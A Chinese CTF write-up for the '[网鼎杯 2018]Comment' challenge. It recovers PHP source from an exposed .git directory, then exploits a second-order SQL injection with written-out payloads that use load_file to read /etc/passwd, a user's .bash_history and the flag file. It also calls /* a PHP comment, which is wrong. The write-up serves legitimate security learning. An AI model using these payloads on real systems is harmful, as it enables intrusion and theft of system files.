[网鼎杯 2018]Comment -----不会编程的崽

网鼎杯的题啊,每次都能记忆犹新,又get到了不少。

这种发帖的界面在ctf中不少见了,多半是二次注入。但是这个二次注入并不单纯。在一道大坎之前,必定存在小坎。这不,先登录。

 先别急着怀疑是否为其他漏洞。仔细观察,它已经给你账号密码了,但是密码隐藏了三位。没错,就是弱口令。还说什么,上bp呗。这里我也不截图了,密码zhangwei666。可以开始发帖了。可能测试了很久,都开始怀疑是否是二次注入了。所以怀疑一下有没有源码泄露吧。

 工具是GitHacker

下载地址:https://github.com/WangYihang/GitHacker
命令:
githacker --url http://3a974107-6486-4a22-a4d7-e2de15b8e8cd.node5.buuoj.cn:81/.git/ --output-folder ./

   获取到write_do.php。给了一堆似懂非懂的代码。反正我做这时我不知道,大佬说代码缺少。使     用以下命令恢复

首先:git log --reflog
得到:commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash) 有很多的这种的,从第一个一个试
然后:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 成功恢复内容

 源码如下:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

一般泄露源码的题,就不可能是常规注入。

write指发帖,comment指发送评论。write下边,所有可控制的值被addslashes转义了。但是comment下边,它把category值重新选取出来,并且没有进行过滤就带入了sql语句。很明显,这就是我们要找的注入点。这里注入就一定要绕过单引号。接下来就是巧妙构造

payload:title=111&CATEGORY=1',content=database(),/*&content=111

我们把这个带入源码,看下怎么个事??

$sql = "insert into comment
        set category = '1',content=database(),/*',
            content = '111',
            bo_id = '$bo_id'";

即使在write下单引号被转义。但是那个单引号再次被数据库选出来时,奇迹般的复活了,它又恢复了单引号的特殊含义。 现在category='1',content=database()。/*是php的注释符,将后边的引号注释掉。但是这么注释存在问题,我们构造了一个content,当然/*也要闭合掉一个content。content是评论的内容。在评论区提交*/#会怎样?带进去看看

$sql = "insert into comment
        set category = '1',content=database(),/*',
            content = '*/#',
            bo_id = '$bo_id'";

 /**/形成闭合后,因为是php代码,现在只会执行以下代码

$sql = "insert into comment
        set category = '1',
            content=database(),
            #',
            bo_id = '$bo_id'";

引号就完美绕开了。在带入sql语句执行。那么评论的内容就会变为数据库的名字

 

 数据库的名字就显现了。那接下来怎么办,如果真按照这个注入,脚本很难写,操作也很复杂。所以这里还是保留了人性奥。读取文件即可。接下来也是脑洞大开时刻。先读取/etc/passwd

paylaod:1',content=(select load_file('/etc/passwd')),/*

 发现存在www用户,去读取用户的命令执行历史

payload:1',content=(select load_file('/home/www/.bash_history')),/*

它把一个压缩包解压在tmp目录下,然后删除压缩包,又把html复制去了/www目录,并删除.DS_Store。搁着绕圈子了。那不还是得去读取/tmp/html/.DS_Store。又因为这种文件直接读取通常存在乱码,所以要转进制读取才行

payload:1',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

这样就读出来一堆16进制。拿去转换一下。看见flag名了-----flag_8946e1ff1ee3e40f.php

 

这里又有一个坑。假如还是去/tmp目录下读取flag,就会得到一个高仿的flag,比真实的长一点点。这里要去/var/www/html/flag_8946e1ff1ee3e40f.php才是真的。太坑了,也有点难呀,鼠鼠哭死了。

paylaod:
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

  • 18
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值